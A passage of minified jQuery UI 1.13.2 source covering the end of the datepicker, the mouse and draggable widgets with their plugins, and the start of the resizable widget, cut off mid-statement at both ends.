this.formatDate(this._get(t,"dateFormat"),e,this._getFormatConfig(t))}}),V.fn.datepicker=function(t){if(!this.length)return this;V.datepicker.initialized||(V(document).on("mousedown",V.datepicker._checkExternalClick),V.datepicker.initialized=!0),0===V("#"+V.datepicker._mainDivId).length&&V("body").append(V.datepicker.dpDiv);var e=Array.prototype.slice.call(arguments,1);return"string"==typeof t&&("isDisabled"===t||"getDate"===t||"widget"===t)||"option"===t&&2===arguments.length&&"string"==typeof arguments[1]?V.datepicker["_"+t+"Datepicker"].apply(V.datepicker,[this[0]].concat(e)):this.each(function(){"string"==typeof t?V.datepicker["_"+t+"Datepicker"].apply(V.datepicker,[this].concat(e)):V.datepicker._attachDatepicker(this,t)})},V.datepicker=new st,V.datepicker.initialized=!1,V.datepicker.uuid=(new Date).getTime(),V.datepicker.version="1.13.2";V.datepicker,V.ui.ie=!!/msie [\w.]+/.exec(navigator.userAgent.toLowerCase());var rt=!1;V(document).on("mouseup",function(){rt=!1});V.widget("ui.mouse",{version:"1.13.2",options:{cancel:"input, textarea, button, select, option",distance:1,delay:0},_mouseInit:function(){var e=this;this.element.on("mousedown."+this.widgetName,function(t){return e._mouseDown(t)}).on("click."+this.widgetName,function(t){if(!0===V.data(t.target,e.widgetName+".preventClickEvent"))return V.removeData(t.target,e.widgetName+".preventClickEvent"),t.stopImmediatePropagation(),!1}),this.started=!1},_mouseDestroy:function(){this.element.off("."+this.widgetName),this._mouseMoveDelegate&&this.document.off("mousemove."+this.widgetName,this._mouseMoveDelegate).off("mouseup."+this.widgetName,this._mouseUpDelegate)},_mouseDown:function(t){if(!rt){this._mouseMoved=!1,this._mouseStarted&&this._mouseUp(t),this._mouseDownEvent=t;var e=this,i=1===t.which,s=!("string"!=typeof this.options.cancel||!t.target.nodeName)&&V(t.target).closest(this.options.cancel).length;return i&&!s&&this._mouseCapture(t)?(this.mouseDelayMet=!this.options.delay,this.mouseDelayMet||(this._mouseDelayTimer=setTimeout(function(){e.mouseDelayMet=!0},this.options.delay)),this._mouseDistanceMet(t)&&this._mouseDelayMet(t)&&(this._mouseStarted=!1!==this._mouseStart(t),!this._mouseStarted)?(t.preventDefault(),!0):(!0===V.data(t.target,this.widgetName+".preventClickEvent")&&V.removeData(t.target,this.widgetName+".preventClickEvent"),this._mouseMoveDelegate=function(t){return e._mouseMove(t)},this._mouseUpDelegate=function(t){return e._mouseUp(t)},this.document.on("mousemove."+this.widgetName,this._mouseMoveDelegate).on("mouseup."+this.widgetName,this._mouseUpDelegate),t.preventDefault(),rt=!0)):!0}},_mouseMove:function(t){if(this._mouseMoved){if(V.ui.ie&&(!document.documentMode||document.documentMode<9)&&!t.button)return this._mouseUp(t);if(!t.which)if(t.originalEvent.altKey||t.originalEvent.ctrlKey||t.originalEvent.metaKey||t.originalEvent.shiftKey)this.ignoreMissingWhich=!0;else if(!this.ignoreMissingWhich)return this._mouseUp(t)}return(t.which||t.button)&&(this._mouseMoved=!0),this._mouseStarted?(this._mouseDrag(t),t.preventDefault()):(this._mouseDistanceMet(t)&&this._mouseDelayMet(t)&&(this._mouseStarted=!1!==this._mouseStart(this._mouseDownEvent,t),this._mouseStarted?this._mouseDrag(t):this._mouseUp(t)),!this._mouseStarted)},_mouseUp:function(t){this.document.off("mousemove."+this.widgetName,this._mouseMoveDelegate).off("mouseup."+this.widgetName,this._mouseUpDelegate),this._mouseStarted&&(this._mouseStarted=!1,t.target===this._mouseDownEvent.target&&V.data(t.target,this.widgetName+".preventClickEvent",!0),this._mouseStop(t)),this._mouseDelayTimer&&(clearTimeout(this._mouseDelayTimer),delete this._mouseDelayTimer),this.ignoreMissingWhich=!1,rt=!1,t.preventDefault()},_mouseDistanceMet:function(t){return Math.max(Math.abs(this._mouseDownEvent.pageX-t.pageX),Math.abs(this._mouseDownEvent.pageY-t.pageY))>=this.options.distance},_mouseDelayMet:function(){return this.mouseDelayMet},_mouseStart:function(){},_mouseDrag:function(){},_mouseStop:function(){},_mouseCapture:function(){return!0}}),V.ui.plugin={add:function(t,e,i){var s,n=V.ui[t].prototype;for(s in i)n.plugins[s]=n.plugins[s]||[],n.plugins[s].push([e,i[s]])},call:function(t,e,i,s){var n,o=t.plugins[e];if(o&&(s||t.element[0].parentNode&&11!==t.element[0].parentNode.nodeType))for(n=0;n<o.length;n++)t.options[o[n][0]]&&o[n][1].apply(t.element,i)}},V.ui.safeBlur=function(t){t&&"body"!==t.nodeName.toLowerCase()&&V(t).trigger("blur")};V.widget("ui.draggable",V.ui.mouse,{version:"1.13.2",widgetEventPrefix:"drag",options:{addClasses:!0,appendTo:"parent",axis:!1,connectToSortable:!1,containment:!1,cursor:"auto",cursorAt:!1,grid:!1,handle:!1,helper:"original",iframeFix:!1,opacity:!1,refreshPositions:!1,revert:!1,revertDuration:500,scope:"default",scroll:!0,scrollSensitivity:20,scrollSpeed:20,snap:!1,snapMode:"both",snapTolerance:20,stack:!1,zIndex:!1,drag:null,start:null,stop:null},_create:function(){"original"===this.options.helper&&this._setPositionRelative(),this.options.addClasses&&this._addClass("ui-draggable"),this._setHandleClassName(),this._mouseInit()},_setOption:function(t,e){this._super(t,e),"handle"===t&&(this._removeHandleClassName(),this._setHandleClassName())},_destroy:function(){(this.helper||this.element).is(".ui-draggable-dragging")?this.destroyOnClear=!0:(this._removeHandleClassName(),this._mouseDestroy())},_mouseCapture:function(t){var e=this.options;return!(this.helper||e.disabled||0<V(t.target).closest(".ui-resizable-handle").length)&&(this.handle=this._getHandle(t),!!this.handle&&(this._blurActiveElement(t),this._blockFrames(!0===e.iframeFix?"iframe":e.iframeFix),!0))},_blockFrames:function(t){this.iframeBlocks=this.document.find(t).map(function(){var t=V(this);return V("<div>").css("position","absolute").appendTo(t.parent()).outerWidth(t.outerWidth()).outerHeight(t.outerHeight()).offset(t.offset())[0]})},_unblockFrames:function(){this.iframeBlocks&&(this.iframeBlocks.remove(),delete this.iframeBlocks)},_blurActiveElement:function(t){var e=V.ui.safeActiveElement(this.document[0]);V(t.target).closest(e).length||V.ui.safeBlur(e)},_mouseStart:function(t){var e=this.options;return this.helper=this._createHelper(t),this._addClass(this.helper,"ui-draggable-dragging"),this._cacheHelperProportions(),V.ui.ddmanager&&(V.ui.ddmanager.current=this),this._cacheMargins(),this.cssPosition=this.helper.css("position"),this.scrollParent=this.helper.scrollParent(!0),this.offsetParent=this.helper.offsetParent(),this.hasFixedAncestor=0<this.helper.parents().filter(function(){return"fixed"===V(this).css("position")}).length,this.positionAbs=this.element.offset(),this._refreshOffsets(t),this.originalPosition=this.position=this._generatePosition(t,!1),this.originalPageX=t.pageX,this.originalPageY=t.pageY,e.cursorAt&&this._adjustOffsetFromHelper(e.cursorAt),this._setContainment(),!1===this._trigger("start",t)?(this._clear(),!1):(this._cacheHelperProportions(),V.ui.ddmanager&&!e.dropBehaviour&&V.ui.ddmanager.prepareOffsets(this,t),this._mouseDrag(t,!0),V.ui.ddmanager&&V.ui.ddmanager.dragStart(this,t),!0)},_refreshOffsets:function(t){this.offset={top:this.positionAbs.top-this.margins.top,left:this.positionAbs.left-this.margins.left,scroll:!1,parent:this._getParentOffset(),relative:this._getRelativeOffset()},this.offset.click={left:t.pageX-this.offset.left,top:t.pageY-this.offset.top}},_mouseDrag:function(t,e){if(this.hasFixedAncestor&&(this.offset.parent=this._getParentOffset()),this.position=this._generatePosition(t,!0),this.positionAbs=this._convertPositionTo("absolute"),!e){e=this._uiHash();if(!1===this._trigger("drag",t,e))return this._mouseUp(new V.Event("mouseup",t)),!1;this.position=e.position}return this.helper[0].style.left=this.position.left+"px",this.helper[0].style.top=this.position.top+"px",V.ui.ddmanager&&V.ui.ddmanager.drag(this,t),!1},_mouseStop:function(t){var e=this,i=!1;return V.ui.ddmanager&&!this.options.dropBehaviour&&(i=V.ui.ddmanager.drop(this,t)),this.dropped&&(i=this.dropped,this.dropped=!1),"invalid"===this.options.revert&&!i||"valid"===this.options.revert&&i||!0===this.options.revert||"function"==typeof this.options.revert&&this.options.revert.call(this.element,i)?V(this.helper).animate(this.originalPosition,parseInt(this.options.revertDuration,10),function(){!1!==e._trigger("stop",t)&&e._clear()}):!1!==this._trigger("stop",t)&&this._clear(),!1},_mouseUp:function(t){return this._unblockFrames(),V.ui.ddmanager&&V.ui.ddmanager.dragStop(this,t),this.handleElement.is(t.target)&&this.element.trigger("focus"),V.ui.mouse.prototype._mouseUp.call(this,t)},cancel:function(){return this.helper.is(".ui-draggable-dragging")?this._mouseUp(new V.Event("mouseup",{target:this.element[0]})):this._clear(),this},_getHandle:function(t){return!this.options.handle||!!V(t.target).closest(this.element.find(this.options.handle)).length},_setHandleClassName:function(){this.handleElement=this.options.handle?this.element.find(this.options.handle):this.element,this._addClass(this.handleElement,"ui-draggable-handle")},_removeHandleClassName:function(){this._removeClass(this.handleElement,"ui-draggable-handle")},_createHelper:function(t){var e=this.options,i="function"==typeof e.helper,t=i?V(e.helper.apply(this.element[0],[t])):"clone"===e.helper?this.element.clone().removeAttr("id"):this.element;return t.parents("body").length||t.appendTo("parent"===e.appendTo?this.element[0].parentNode:e.appendTo),i&&t[0]===this.element[0]&&this._setPositionRelative(),t[0]===this.element[0]||/(fixed|absolute)/.test(t.css("position"))||t.css("position","absolute"),t},_setPositionRelative:function(){/^(?:r|a|f)/.test(this.element.css("position"))||(this.element[0].style.position="relative")},_adjustOffsetFromHelper:function(t){"string"==typeof t&&(t=t.split(" ")),"left"in(t=Array.isArray(t)?{left:+t[0],top:+t[1]||0}:t)&&(this.offset.click.left=t.left+this.margins.left),"right"in t&&(this.offset.click.left=this.helperProportions.width-t.right+this.margins.left),"top"in t&&(this.offset.click.top=t.top+this.margins.top),"bottom"in t&&(this.offset.click.top=this.helperProportions.height-t.bottom+this.margins.top)},_isRootNode:function(t){return/(html|body)/i.test(t.tagName)||t===this.document[0]},_getParentOffset:function(){var t=this.offsetParent.offset(),e=this.document[0];return"absolute"===this.cssPosition&&this.scrollParent[0]!==e&&V.contains(this.scrollParent[0],this.offsetParent[0])&&(t.left+=this.scrollParent.scrollLeft(),t.top+=this.scrollParent.scrollTop()),{top:(t=this._isRootNode(this.offsetParent[0])?{top:0,left:0}:t).top+(parseInt(this.offsetParent.css("borderTopWidth"),10)||0),left:t.left+(parseInt(this.offsetParent.css("borderLeftWidth"),10)||0)}},_getRelativeOffset:function(){if("relative"!==this.cssPosition)return{top:0,left:0};var t=this.element.position(),e=this._isRootNode(this.scrollParent[0]);return{top:t.top-(parseInt(this.helper.css("top"),10)||0)+(e?0:this.scrollParent.scrollTop()),left:t.left-(parseInt(this.helper.css("left"),10)||0)+(e?0:this.scrollParent.scrollLeft())}},_cacheMargins:function(){this.margins={left:parseInt(this.element.css("marginLeft"),10)||0,top:parseInt(this.element.css("marginTop"),10)||0,right:parseInt(this.element.css("marginRight"),10)||0,bottom:parseInt(this.element.css("marginBottom"),10)||0}},_cacheHelperProportions:function(){this.helperProportions={width:this.helper.outerWidth(),height:this.helper.outerHeight()}},_setContainment:function(){var t,e,i,s=this.options,n=this.document[0];this.relativeContainer=null,s.containment?"window"!==s.containment?"document"!==s.containment?s.containment.constructor!==Array?("parent"===s.containment&&(s.containment=this.helper[0].parentNode),(i=(e=V(s.containment))[0])&&(t=/(scroll|auto)/.test(e.css("overflow")),this.containment=[(parseInt(e.css("borderLeftWidth"),10)||0)+(parseInt(e.css("paddingLeft"),10)||0),(parseInt(e.css("borderTopWidth"),10)||0)+(parseInt(e.css("paddingTop"),10)||0),(t?Math.max(i.scrollWidth,i.offsetWidth):i.offsetWidth)-(parseInt(e.css("borderRightWidth"),10)||0)-(parseInt(e.css("paddingRight"),10)||0)-this.helperProportions.width-this.margins.left-this.margins.right,(t?Math.max(i.scrollHeight,i.offsetHeight):i.offsetHeight)-(parseInt(e.css("borderBottomWidth"),10)||0)-(parseInt(e.css("paddingBottom"),10)||0)-this.helperProportions.height-this.margins.top-this.margins.bottom],this.relativeContainer=e)):this.containment=s.containment:this.containment=[0,0,V(n).width()-this.helperProportions.width-this.margins.left,(V(n).height()||n.body.parentNode.scrollHeight)-this.helperProportions.height-this.margins.top]:this.containment=[V(window).scrollLeft()-this.offset.relative.left-this.offset.parent.left,V(window).scrollTop()-this.offset.relative.top-this.offset.parent.top,V(window).scrollLeft()+V(window).width()-this.helperProportions.width-this.margins.left,V(window).scrollTop()+(V(window).height()||n.body.parentNode.scrollHeight)-this.helperProportions.height-this.margins.top]:this.containment=null},_convertPositionTo:function(t,e){e=e||this.position;var i="absolute"===t?1:-1,t=this._isRootNode(this.scrollParent[0]);return{top:e.top+this.offset.relative.top*i+this.offset.parent.top*i-("fixed"===this.cssPosition?-this.offset.scroll.top:t?0:this.offset.scroll.top)*i,left:e.left+this.offset.relative.left*i+this.offset.parent.left*i-("fixed"===this.cssPosition?-this.offset.scroll.left:t?0:this.offset.scroll.left)*i}},_generatePosition:function(t,e){var i,s=this.options,n=this._isRootNode(this.scrollParent[0]),o=t.pageX,a=t.pageY;return n&&this.offset.scroll||(this.offset.scroll={top:this.scrollParent.scrollTop(),left:this.scrollParent.scrollLeft()}),e&&(this.containment&&(i=this.relativeContainer?(i=this.relativeContainer.offset(),[this.containment[0]+i.left,this.containment[1]+i.top,this.containment[2]+i.left,this.containment[3]+i.top]):this.containment,t.pageX-this.offset.click.left<i[0]&&(o=i[0]+this.offset.click.left),t.pageY-this.offset.click.top<i[1]&&(a=i[1]+this.offset.click.top),t.pageX-this.offset.click.left>i[2]&&(o=i[2]+this.offset.click.left),t.pageY-this.offset.click.top>i[3]&&(a=i[3]+this.offset.click.top)),s.grid&&(t=s.grid[1]?this.originalPageY+Math.round((a-this.originalPageY)/s.grid[1])*s.grid[1]:this.originalPageY,a=!i||t-this.offset.click.top>=i[1]||t-this.offset.click.top>i[3]?t:t-this.offset.click.top>=i[1]?t-s.grid[1]:t+s.grid[1],t=s.grid[0]?this.originalPageX+Math.round((o-this.originalPageX)/s.grid[0])*s.grid[0]:this.originalPageX,o=!i||t-this.offset.click.left>=i[0]||t-this.offset.click.left>i[2]?t:t-this.offset.click.left>=i[0]?t-s.grid[0]:t+s.grid[0]),"y"===s.axis&&(o=this.originalPageX),"x"===s.axis&&(a=this.originalPageY)),{top:a-this.offset.click.top-this.offset.relative.top-this.offset.parent.top+("fixed"===this.cssPosition?-this.offset.scroll.top:n?0:this.offset.scroll.top),left:o-this.offset.click.left-this.offset.relative.left-this.offset.parent.left+("fixed"===this.cssPosition?-this.offset.scroll.left:n?0:this.offset.scroll.left)}},_clear:function(){this._removeClass(this.helper,"ui-draggable-dragging"),this.helper[0]===this.element[0]||this.cancelHelperRemoval||this.helper.remove(),this.helper=null,this.cancelHelperRemoval=!1,this.destroyOnClear&&this.destroy()},_trigger:function(t,e,i){return i=i||this._uiHash(),V.ui.plugin.call(this,t,[e,i,this],!0),/^(drag|start|stop)/.test(t)&&(this.positionAbs=this._convertPositionTo("absolute"),i.offset=this.positionAbs),V.Widget.prototype._trigger.call(this,t,e,i)},plugins:{},_uiHash:function(){return{helper:this.helper,position:this.position,originalPosition:this.originalPosition,offset:this.positionAbs}}}),V.ui.plugin.add("draggable","connectToSortable",{start:function(e,t,i){var s=V.extend({},t,{item:i.element});i.sortables=[],V(i.options.connectToSortable).each(function(){var t=V(this).sortable("instance");t&&!t.options.disabled&&(i.sortables.push(t),t.refreshPositions(),t._trigger("activate",e,s))})},stop:function(e,t,i){var s=V.extend({},t,{item:i.element});i.cancelHelperRemoval=!1,V.each(i.sortables,function(){var t=this;t.isOver?(t.isOver=0,i.cancelHelperRemoval=!0,t.cancelHelperRemoval=!1,t._storedCSS={position:t.placeholder.css("position"),top:t.placeholder.css("top"),left:t.placeholder.css("left")},t._mouseStop(e),t.options.helper=t.options._helper):(t.cancelHelperRemoval=!0,t._trigger("deactivate",e,s))})},drag:function(i,s,n){V.each(n.sortables,function(){var t=!1,e=this;e.positionAbs=n.positionAbs,e.helperProportions=n.helperProportions,e.offset.click=n.offset.click,e._intersectsWith(e.containerCache)&&(t=!0,V.each(n.sortables,function(){return this.positionAbs=n.positionAbs,this.helperProportions=n.helperProportions,this.offset.click=n.offset.click,t=this!==e&&this._intersectsWith(this.containerCache)&&V.contains(e.element[0],this.element[0])?!1:t})),t?(e.isOver||(e.isOver=1,n._parent=s.helper.parent(),e.currentItem=s.helper.appendTo(e.element).data("ui-sortable-item",!0),e.options._helper=e.options.helper,e.options.helper=function(){return s.helper[0]},i.target=e.currentItem[0],e._mouseCapture(i,!0),e._mouseStart(i,!0,!0),e.offset.click.top=n.offset.click.top,e.offset.click.left=n.offset.click.left,e.offset.parent.left-=n.offset.parent.left-e.offset.parent.left,e.offset.parent.top-=n.offset.parent.top-e.offset.parent.top,n._trigger("toSortable",i),n.dropped=e.element,V.each(n.sortables,function(){this.refreshPositions()}),n.currentItem=n.element,e.fromOutside=n),e.currentItem&&(e._mouseDrag(i),s.position=e.position)):e.isOver&&(e.isOver=0,e.cancelHelperRemoval=!0,e.options._revert=e.options.revert,e.options.revert=!1,e._trigger("out",i,e._uiHash(e)),e._mouseStop(i,!0),e.options.revert=e.options._revert,e.options.helper=e.options._helper,e.placeholder&&e.placeholder.remove(),s.helper.appendTo(n._parent),n._refreshOffsets(i),s.position=n._generatePosition(i,!0),n._trigger("fromSortable",i),n.dropped=!1,V.each(n.sortables,function(){this.refreshPositions()}))})}}),V.ui.plugin.add("draggable","cursor",{start:function(t,e,i){var s=V("body"),i=i.options;s.css("cursor")&&(i._cursor=s.css("cursor")),s.css("cursor",i.cursor)},stop:function(t,e,i){i=i.options;i._cursor&&V("body").css("cursor",i._cursor)}}),V.ui.plugin.add("draggable","opacity",{start:function(t,e,i){e=V(e.helper),i=i.options;e.css("opacity")&&(i._opacity=e.css("opacity")),e.css("opacity",i.opacity)},stop:function(t,e,i){i=i.options;i._opacity&&V(e.helper).css("opacity",i._opacity)}}),V.ui.plugin.add("draggable","scroll",{start:function(t,e,i){i.scrollParentNotHidden||(i.scrollParentNotHidden=i.helper.scrollParent(!1)),i.scrollParentNotHidden[0]!==i.document[0]&&"HTML"!==i.scrollParentNotHidden[0].tagName&&(i.overflowOffset=i.scrollParentNotHidden.offset())},drag:function(t,e,i){var s=i.options,n=!1,o=i.scrollParentNotHidden[0],a=i.document[0];o!==a&&"HTML"!==o.tagName?(s.axis&&"x"===s.axis||(i.overflowOffset.top+o.offsetHeight-t.pageY<s.scrollSensitivity?o.scrollTop=n=o.scrollTop+s.scrollSpeed:t.pageY-i.overflowOffset.top<s.scrollSensitivity&&(o.scrollTop=n=o.scrollTop-s.scrollSpeed)),s.axis&&"y"===s.axis||(i.overflowOffset.left+o.offsetWidth-t.pageX<s.scrollSensitivity?o.scrollLeft=n=o.scrollLeft+s.scrollSpeed:t.pageX-i.overflowOffset.left<s.scrollSensitivity&&(o.scrollLeft=n=o.scrollLeft-s.scrollSpeed))):(s.axis&&"x"===s.axis||(t.pageY-V(a).scrollTop()<s.scrollSensitivity?n=V(a).scrollTop(V(a).scrollTop()-s.scrollSpeed):V(window).height()-(t.pageY-V(a).scrollTop())<s.scrollSensitivity&&(n=V(a).scrollTop(V(a).scrollTop()+s.scrollSpeed))),s.axis&&"y"===s.axis||(t.pageX-V(a).scrollLeft()<s.scrollSensitivity?n=V(a).scrollLeft(V(a).scrollLeft()-s.scrollSpeed):V(window).width()-(t.pageX-V(a).scrollLeft())<s.scrollSensitivity&&(n=V(a).scrollLeft(V(a).scrollLeft()+s.scrollSpeed)))),!1!==n&&V.ui.ddmanager&&!s.dropBehaviour&&V.ui.ddmanager.prepareOffsets(i,t)}}),V.ui.plugin.add("draggable","snap",{start:function(t,e,i){var s=i.options;i.snapElements=[],V(s.snap.constructor!==String?s.snap.items||":data(ui-draggable)":s.snap).each(function(){var t=V(this),e=t.offset();this!==i.element[0]&&i.snapElements.push({item:this,width:t.outerWidth(),height:t.outerHeight(),top:e.top,left:e.left})})},drag:function(t,e,i){for(var s,n,o,a,r,l,h,c,u,d=i.options,p=d.snapTolerance,f=e.offset.left,g=f+i.helperProportions.width,m=e.offset.top,_=m+i.helperProportions.height,v=i.snapElements.length-1;0<=v;v--)l=(r=i.snapElements[v].left-i.margins.left)+i.snapElements[v].width,c=(h=i.snapElements[v].top-i.margins.top)+i.snapElements[v].height,g<r-p||l+p<f||_<h-p||c+p<m||!V.contains(i.snapElements[v].item.ownerDocument,i.snapElements[v].item)?(i.snapElements[v].snapping&&i.options.snap.release&&i.options.snap.release.call(i.element,t,V.extend(i._uiHash(),{snapItem:i.snapElements[v].item})),i.snapElements[v].snapping=!1):("inner"!==d.snapMode&&(s=Math.abs(h-_)<=p,n=Math.abs(c-m)<=p,o=Math.abs(r-g)<=p,a=Math.abs(l-f)<=p,s&&(e.position.top=i._convertPositionTo("relative",{top:h-i.helperProportions.height,left:0}).top),n&&(e.position.top=i._convertPositionTo("relative",{top:c,left:0}).top),o&&(e.position.left=i._convertPositionTo("relative",{top:0,left:r-i.helperProportions.width}).left),a&&(e.position.left=i._convertPositionTo("relative",{top:0,left:l}).left)),u=s||n||o||a,"outer"!==d.snapMode&&(s=Math.abs(h-m)<=p,n=Math.abs(c-_)<=p,o=Math.abs(r-f)<=p,a=Math.abs(l-g)<=p,s&&(e.position.top=i._convertPositionTo("relative",{top:h,left:0}).top),n&&(e.position.top=i._convertPositionTo("relative",{top:c-i.helperProportions.height,left:0}).top),o&&(e.position.left=i._convertPositionTo("relative",{top:0,left:r}).left),a&&(e.position.left=i._convertPositionTo("relative",{top:0,left:l-i.helperProportions.width}).left)),!i.snapElements[v].snapping&&(s||n||o||a||u)&&i.options.snap.snap&&i.options.snap.snap.call(i.element,t,V.extend(i._uiHash(),{snapItem:i.snapElements[v].item})),i.snapElements[v].snapping=s||n||o||a||u)}}),V.ui.plugin.add("draggable","stack",{start:function(t,e,i){var s,i=i.options,i=V.makeArray(V(i.stack)).sort(function(t,e){return(parseInt(V(t).css("zIndex"),10)||0)-(parseInt(V(e).css("zIndex"),10)||0)});i.length&&(s=parseInt(V(i[0]).css("zIndex"),10)||0,V(i).each(function(t){V(this).css("zIndex",s+t)}),this.css("zIndex",s+i.length))}}),V.ui.plugin.add("draggable","zIndex",{start:function(t,e,i){e=V(e.helper),i=i.options;e.css("zIndex")&&(i._zIndex=e.css("zIndex")),e.css("zIndex",i.zIndex)},stop:function(t,e,i){i=i.options;i._zIndex&&V(e.helper).css("zIndex",i._zIndex)}});V.ui.draggable;V.widget("ui.resizable",V.ui.mouse,{version:"1.13.2",widgetEventPrefix:"resize",options:{alsoResize:!1,animate:!1,animateDuration:"slow",animateEasing:"swing",aspectRatio:!1,autoHide:!1,classes:{"ui-resizable-se":"ui-icon ui-icon-gripsmall-diagonal-se"},containment:!1,ghost:!1,grid:!1,handles:"e,s,se",helper:!1,maxHeight:null,maxWidth:null,minHeight:10,minWidth:10,zIndex:90,resize:null,start:null,stop:null},_num:function(t){return parseFloat(t)||0},_isNumber:function(t){return!isNaN(parseFloat(t))},_hasScroll:function(t,e){if("hidden"===V(t).css("overflow"))return!1;var i=e&&"left"===e?"scrollLeft":"scrollTop",e=!1;if(0<t[i])return!0;try{t[i]=1,e=0<t[i],t[i]=0}catch(t){}return e},_create:function(){var t,e=this.options,i=this;this._addClass("ui-resizable"),V.extend(this,{_aspectRatio:!!e.aspectRatio,aspectRatio:e.aspectRatio,originalElement:this.element,_proportionallyResizeElements:[],_helper:e.helper||e.ghost||e.animate?e.helper||"ui-resizable-helper":null}),this.element[0].nodeName.match(/^(canvas|textarea|input|select|button|img)$/i)&&(this.element.wrap(V("<div class='ui-wrapper'></div>").css({overflow:"hidden",position:this.element.css("position"),width:this.element.outerWidth(),height:this.element.outerHeight(),top:this.element.css("top"),left:this.element.css("left")})),this.element=this.element.parent().data("ui-resizable",this.element.resizable("instance")),this.elementIsWrapper=!0,t={marginTop:this.originalElement.css("marginTop"),marginRight:this.originalElement.css("marginRight"),marginBottom:this.originalElement.css("marginBottom"),marginLeft:this.originalElement.css("marginLeft")},this.element.css(t),this.originalElement.css("margin",0),this.originalResizeStyle=this.originalElement.css("resize"),this.originalElement.css("resize","none"),this._proportionallyResizeElements.push(this.originalElement.css({position:"static",zoom:1,display:"block"})),this.originalElement.css(t),this._proportionallyResize()),this._setupHandles(),e.autoHide&&V(this.element).on("mouseenter",function(){e.disabled||(i._removeClass("ui-resizable-autohide"),i._handles.show())}).on("mouseleave",function(){e.disabled||i.resizing||(i._addClass("ui-resizable-autohide"),i._handles.hide())}),this._mouseInit()},_destroy:function(){this._mouseDestroy(),this._addedHandles.remove();function t(t){V(t).removeData("resizable").removeData("ui-resizable").off(".resizable")}var e;return this.elementIsWrapper&&(t(this.element),e=this.element,this.originalElement.css({position:e.css("position"),width:e.outerWidth(),height:e.outerHeight(),top:e.css("top"),left:e.css("left")}).insertAfter(e),e.remove()),this.originalElement.css("resize",this.originalResizeStyle),t(this.originalElement),this},_setOption:function(t,e){switch(this._super(t,e),t){case"handles":this._removeHandles(),this._setupHandles();break;case"aspectRatio":this._aspectRatio=!!e}},_setupHandles:function(){var t,e,i,s,n,o=this.options,a=this;if(this.handles=o.handles||(V(".ui-resizable-handle",this.element).length?{n:".ui-resizable-n",e:".ui-resizable-e",s:".ui-resizable-s",w:".ui-resizable-w",se:".ui-resizable-se",sw:".ui-resizable-sw",ne:".ui-resizable-ne",nw:".ui-resizable-nw"}:"e,s,se"),this._handles=V(),this._addedHandles=V(),this.handles.constructor===String)for("all"===this.handles&&(this.handles="n,e,s,w,se,sw,ne,nw"),i=this.handles.split(","),this.handles={},e=0;e<i.length;e++)s="ui-resizable-"+(t=String.prototype.trim.call(i[e])),n=V("<div>"),this._addClass(n,"ui-resizable-handle "+s),n.css({zIndex:o.zIndex}),this.handles[t]=".ui-resizable-"+t,this.element.children(this.handles[t]).length||(this.element.append(n),this._addedHandles=this._addedHandles.add(n));this._renderAxis=function(t){var e,i,s;for(e in t=t||this.element,this.handles)this.handles[e].constructor===String?this.handles[e]=this.element.children(this.handles[e]).first().show():(this.handles[e].jquery||this.handles[e].nodeType)&&(this.handles[e]=V(this.handles[e]),this._on(this.handles[e],{mousedown:a._mouseDown})),this.elementIsWrapper&&this.originalElement[0].nodeName.match(/^(textarea|input|select|button)$/i)&&(i=V(this.handles[e],this.element),s=/sw|ne|nw|se|n|s/.test(e)?i.outerHeight():i.outerWidth(),i=["padding",/ne|nw|n/.test(e)?"Top":/se|sw|s/.test(e)?"Bottom":/^e$/.test(e)?"Right":"Left"].join(""),t.css(i,s),this._proportionallyResize()),this._handles=this._handles.add(this.handles[e])},this._renderAxis(this.element),this._handles=this._handles.add(this.element.find(".ui-resizable-handle")),this._handles.disableSelection(),this._handles.on("mouseover",function(){a.resizing||(this.className&&(n=this.className.match(/ui-resizable-(se|sw|ne|nw|n|e|s|w)/i)),a.axis=n&&n[1]?n[1]:"se")}),o.autoHide&&(this._handles.hide(),this._addClass("ui-resizable-autohide"))},_removeHandles:function(){this._addedHandles.remove()},_mouseCapture:function(t){var e,i,s=!1;for(e in this.handles)(i=V(this.handles[e])[0])!==t.target&&!V.contains(i,t.target)||(s=!0);return!this.options.disabled&&s},_mouseStart:function(t){var e,i,s=this.options,n=this.element;return this.resizing=!0,this._renderProxy(),e=this._num(this.helper.css("left")),i=this._num(this.helper.css("top")),s.containment&&(e+=V(s.containment).scrollLeft()||0,i+=V(s.containment).scrollTop()||0),this.offset=this.helper.offset(),this.position={left:e,top:i},this.size=this._helper?{width:this.helper.width(),height:this.helper.height()}:{width:n.width(),height:n.height()},this.originalSize=this._helper?{width:n.outerWidth(),height:n.outerHeight()}:{width:n.width(),height:n.height()},this.sizeDiff={width:n.outerWidth()-n.width(),height:n.outerHeight()-n.height()},this.originalPosition={left:e,top:i},this.originalMousePosition={left:t.pageX,top:t.pageY},this.aspectRatio="number"==typeof s.aspectRatio?s.aspectRatio:this.originalSize.width/this.originalSize.height||1,s=V(".ui-resizable-"+this.axis).css("cursor"),V("body").css("cursor","auto"===s?this.axis+"-resize":s),this._addClass("ui-resizable-resizing"),this._propagate("start",t),!0},_mouseDrag:function(t){var e=this.originalMousePosition,i=this.axis,s=t.pageX-e.left||0,e=t.pageY-e.top||0,i=this._change[i];return this._updatePrevProperties(),i&&(e=i.apply(this,[t,s,e]),this._updateVirtualBoundaries(t.shiftKey),(this._aspectRatio||t.shiftKey)&&(e=this._updateRatio(e,t)),e=this._respectSize(e,t),this._updateCache(e),this._propagate("resize",t),e=this._applyChanges(),!this._helper&&this._proportionallyResizeElements.length&&this._proportionallyResize(),V.isEmptyObject(e)||(this._updatePrevProperties(),this._trigger("resize",t,this.ui()),this._applyChanges())),!1},_mouseStop:function(t){this.resizing=!1;var e,i,s,n=this.options,o=this;return this._helper&&(s=(e=(i=this._proportionallyResizeElements).length&&/textarea/i.test(i[0].nodeName))&&this._hasScroll(i[0],"left")?0:o.sizeDiff.height,i=e?0:o.sizeDiff.width,e={width:o.helper.width()-i,height:o.helper.height()-s},i=parseFloat(o.element.css("left"))+(o.position.left-o.originalPosition.left)||null,s=parseFloat(o.element.css("top"))+(o.position.top-o.originalPosition.top)||null,n.animate||this.element.css(V.extend(e,{top:s,left:i})),o.helper.height(o.size.height),o.helper.width(o.size.width),this._helper&&!n.animate&&this._proportionallyResize()),V("body").css("cursor","auto"),this._removeClass("ui-resizable-resizing"),this._propagate("stop",t),this._helper&&this.helper.remove(),!1},_updatePrevProperties:function(){this.prevPosition={top:this.position.top,left:this.position.left},this.prevSize={width:this.size.width,height:this.size.height}},_applyChanges:function(){var t={};return 